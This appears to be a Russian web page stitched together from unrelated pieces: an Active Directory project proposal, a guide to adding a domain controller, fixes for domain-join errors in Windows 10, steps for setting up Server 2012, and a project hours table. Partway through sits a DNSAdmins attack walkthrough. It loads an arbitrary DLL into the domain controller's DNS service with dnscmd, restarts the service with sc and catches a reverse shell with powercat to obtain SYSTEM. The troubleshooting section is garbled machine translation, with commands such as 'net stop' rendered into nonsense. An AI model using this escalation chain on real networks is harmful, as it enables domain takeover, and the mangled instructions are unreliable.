Проектное предложение по внедрению Active Directory

Представление Active Directory состоялось в 1999 году, продукт был впервые выпущен с Windows 2000 Server, а затем был модифицирован и улучшен при выпуске Windows Server 2003. Впоследствии Active Directory был улучшен в Windows Server 2003 R2, Windows Server 2008 и Windows Server 2008 R2 и переименован в Active Directory Domain Services. Ранее служба каталогов называлась NT Directory Service (NTDS), это название до сих пор можно встретить в некоторых исполняемых файлах.

Добавление второго контроллера домена из другой подсети

Идем на второй сервер xm-winsrv, запускаем мастер добавления ролей и добавляем так же как и на первом сервере 3 роли — AD, DNS, DHCP. Когда будет запущен Мастер настройки доменных служб Active Directory, выбираем там первый пункт — Добавить контроллер домена в существующий домен, указываем наш домен :

На следующем шаге в параметрах контроллера домена указываем имя сайта, к которому мы присоединим контроллер:

Напомню, что это должен быть сайт, к которому привязана подсеть 10.1.4.0/24. Первый и второй контроллеры оказываются в разных сайтах. Не забываем поставить галочку Глобальный каталог (GC). Дальше все настройки оставляем по-умолчанию.

После перезагрузки сервера, он окажется в домене Зайти под локальным администратором не получится, нужно использовать доменную учетную запись. Заходим, проверяем прошла ли репликация с основным контроллером домена, синхронизировались ли записи DNS. У меня все это прошло благополучно, всех пользователей и записи DNS второй контроллер домена забрал с первого. На обоих серверах в оснастке Active-Directory — сайты и службы отображаются оба контроллера, каждый в своем сайте:

На этом все. Можно добавлять компьютеры в обоих офисах в домен.

Добавлю еще один важный момент для тех, кто будет все это настраивать на виртуальных машинах. Нужно обязательно на гостевых системах отключить синхронизацию времени с гипервизором. Если этого не сделать, то в какой-то момент контроллерам домена может стать плохо.

Надеюсь, что я все сделал правильно. Глубоких знаний в репликации Active Directory у меня нет. Если у кого-то есть замечания по содержанию статьи, напишите об этом в комментариях. Всю информацию я собрал в основном по форумам, где задавали вопросы или решали проблемы по схожей тематике работы домена в разных подсетях.

Читайте также:  Как установить личный сертификат

Что вызывает ошибку «Не удалось связаться с контроллером домена Active Directory для домена» в Windows 10?

Изучив этот вопрос, мы обнаружили, что проблема часто обусловлена ​​следующими факторами:

  • Неверная конфигурация DNS: как мы упоминали выше, основной причиной ошибки является неправильная конфигурация DNS. Настройка DNS может быть легко перенастроена для устранения проблемы.
  • Службы DNS: в некоторых случаях ошибка также может возникать из-за неисправной службы DNS. Перезапуск службы, кажется, решает проблему.

Теперь, чтобы устранить проблему, следуйте приведенным ниже решениям. Как всегда, мы рекомендуем следовать в том же порядке, как указано ниже.

Решение 1. Добавьте новую конфигурацию DNS

Поскольку основной причиной проблемы является конфигурация DNS, добавление новой конфигурации DNS в соответствии с вашим доменом должно решить проблему. Для этого сначала вам нужно будет войти в систему, которую вы пытаетесь добавить. После этого следуйте инструкциям внизу:

  1. Перейти Центр коммуникаций и передачи данных настройки, перейдя в Панель управления и в поисках Центр коммуникаций и передачи данных. Центр коммуникаций и передачи данных
  2. Перед используемой сетью нажмите,Ethernet».
  3. Когда появится новое окно, перейдите к свойства.
  4. В списке выделите Протокол Интернета версии 4 (TCP / IPv4) и нажмите свойства. Свойства Ethernet
  5. Нажмите продвинутый а затем переключитесь на DNS Вкладка.
  6. Под ‘Адреса DNS-сервера’, Нажмите добавлять а затем введите IP вашего контроллера домена в окне Добавление DNS-адреса
  7. Удар ОК на всех окнах что вы открыли, а затем перезагрузите систему.
  8. Попробуйте присоединиться к домену еще раз.

Решение 2. Перезапуск службы DNS

В некоторых определенных случаях появляется сообщение об ошибке из-за неправильной работы служб DNS. Эта проблема может быть легко решена путем простого перезапуска служб. Вот как это сделать:

  1. Нажмите Windows Key + R открыть Бежать.
  2. Введите ‘’, А затем нажмите Enter.
  3. Из списка услуг найдите DNS-клиент оказание услуг. Служба DNS-клиента
  4. Щелкните правой кнопкой мыши и выберите Запустить снова.
  5. Если вы не можете перезапустить службу, просто откройте командную строку с повышенными правами, нажав Windows Key + X и выбрав Командная строка (администратор) из списка.
  6. Введите следующую команду и нажмите Enter:

    чистый стоп dnscache

    Остановка службы DNS

  7. Чтобы начать снова, введите:

    чистый старт dnscache

    Запуск службы DNS

  8. После этого попробуйте присоединиться к домену.

Решение 3. Подключение через окно настроек

Наконец, вы также можете решить свою проблему, подключившись к домену другим способом. Обычно пользователи подключают систему к домену, используя системные свойства. Однако вы также можете подключиться к домену, используя следующий метод:

  1. в Поиск Кортана бар, введите Варианты входа и затем откройте это.
  2. Переключиться на ‘Доступ к работе или школеВкладка.
  3. Нажмите на соединять.
  4. Появится новое окно, нажмите ‘Присоедините это устройство к локальному домену Active Directory». Настройка устройства
  5. Введите имя домена. Убедитесь, что вы вводите имя домена вместе с .местный ().
  6. После этого он попросит администратор и пароль.
  7. Введите учетные данные, а затем перезапустите систему.

Процедура настройки Server 2012

Приложение: посмотрите что бы у вас корректно была настроена сетевая карта пример:

После того как вы загрузили Microsoft Windows Server 2012, открываем «Диспетчер серверов»

Процедура настройки Server 2012

Выбираем пункт «Добавить роли и компоненты»

Процедура настройки Server 2012

Перед началом работы, можете прочитать приведенную информацию, после чего перейти в следующий раздел кнопкой «Далее»

Процедура настройки Server 2012

В разделе выбора типа установки, оставляем галочку «Установка ролей или компонентов» так как пока что служба удаленных рабочих столов нам не нужна, жмем «Далее»

Процедура настройки Server 2012

Выбираем тот сервер, к которому применяем изменения, здесь ничего пока не меняем и продолжаем «Далее»

Процедура настройки Server 2012

В появившимся мастере находим строку «Доменные службы Active Directory» выделяем ее, после открывшегося меню жмем «Добавить компоненты» для того что бы продолжить работу мастера нажмите «Далее»

Процедура настройки Server 2012

Нам предлагают выбрать какие-то дополнительные компоненты, пока оставляем все без изменений и продолжаем установку «Далее»

Процедура настройки Server 2012

Вашему вниманию будет представлена краткая информация о том, что такое доменные службы, для чего они нужны и на что следует обратить внимание! После прочтения материала, переходим к следующему шагу «Далее»

Процедура настройки Server 2012

В поле подтверждения установки компонентов кликаем «Установить»

Процедура настройки Server 2012

Установка занимает определенное время, и после того как она завершится получаем сообщение о том, что требуется дополнительная настройка, но так как инсталляция завершилась успешно, просто закройте окно!

Процедура настройки Server 2012

Для продолжения настройки, нужно добавит роль DNS.

Процедура настройки Server 2012

Для этого вновь заходим в «Диспетчер серверовДобавить роли и компоненты»

Как только вы дошли до вкладки «Роли сервера» найдите и добавьте роль DNS сервер путем «Добавления компонентов»

Процедура настройки Server 2012

Соответственно для подтверждения установки компонентов жмем кнопку «Установить»

Процедура настройки Server 2012

После выполненной установки закройте окно

Процедура настройки Server 2012

DNSAdmins

Microsoft не только реализовала собственный DNS-сервер, но и внедрила для него протокол управления, позволяющий интегрировать DNS-сервер с доменами Active Directory. По умолчанию контроллеры домена также являются DNS-серверами, поэтому DNS-серверы должны быть доступны каждому пользователю домена. Это, в свою очередь, открывает потенциальную возможность для атаки на контроллеры домена: с одной стороны мы имеем сам протокол DNS, а с другой — протокол управления, основанный на RPC.

Пользователь, входящий в группу DNSAdmins или имеющий права на запись в объекты DNS-сервера, может загрузить на DNS-сервер произвольную DLL с привилегиями System. Это очень опасно, поскольку многие корпоративные сети используют контроллер домена в качестве DNS-сервера.

Таким образом, для реализации атаки мы можем просто загрузить на DNS-сервер произвольную библиотеку с помощью dnscmd (путь \\ops-build\dll должен быть доступен для чтения DC):

PS C:\> dnscmd ops_dc/config/serverlevelplugindll \\ops-build\dll\

Чтобы проверить, была ли загружена DLL, можно использовать следующую команду:

PS C:\> Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll

Так как наш пользователь — член группы DNSAdmins, мы можем перезапустить службу DNS:

C:\> sc \\ops-dc stop dns C:\> sc \\ops-dc start dns

DNSAdmins

После перезапуска DNS-сервера будет выполнен код из загруженной библиотеки. Такая библиотека, например, может содержать скрипт PowerShell для обратного подключения.

Пример PowerShell-кода в DLL

После успешного выполнения скрипта мы будем прослушивать на своем хосте обратное подключение:

PS C:\> powercat -l -v -p 443 -t 1000Пример успешного бэкконнекта

В результате мы получим права system на DC.

 Цели, риски и этапы проекта:

 Основная цель проекта:

Перестроение ИТ-инфраструктуры в соответствии с нормами ИТ-безопасности, получение управляемой структуры.

 Потенциальные риски:

Перенос данных сервера возможен только в выходные дни. Необходимо уложится в сжатые сроки по настройке серверов.

Задачи проекта (этапы):

  • закупка оборудования,
  • развертывание системы виртуализации с переносом серверов,
  • настройка ролей серверов,
  • перенос данных пользователей,
  • настройка регламентов доступа к ресурсам.

Основные пункты и принципиальная схема реализации ТЗ на систему.

NN Описание работы трудозатраты

(час)

1 Составление ТЗ и настройка Cisco ASA. Перенастройка локальной сети на новые параметры (смена ip адреса сервера, перепрописание баз 1с каждому пользователю, смена IP у Dect-телефонов, принтеров.) 8
2 Перенос текущего сервера (контроллера домена) на виртуальную машину. Установка и конфигурирование RAID контроллера, сбор RAID массива. Установка гипервизора VMware ESXI 6
3 Перенос сервера на гипервизор VMware ESXI. Установка 4 виртуальных машин. 8
4 Установка Ролей на виртуальные машины — СУБД, Active Directory, Терминальный сервер, Файловый сервер. 16
Настройка планов резервного копирования. 4
5 Ввод пользователей. Создание групп безопасности. Настройка файлового сервера, связок пользователь 1С — пользователь Active Directory Windows Server 8
6 Перенос баз 1С в SQL. Настройка уровней доступа и планов обслуживания. Настройка мониторинговых отчетов. 4
7 Ввод пользователей в домен Active Directory. Перенос данных из локальных профилей в доменные. 16
8 Подключение компьютеров к сети через патч-корды, перенос сетевого оборудования в серверную, пусконаладка. Настройка wi-fi в отдельном vlan (отдельно от корпоративной сети). 4
Итого 74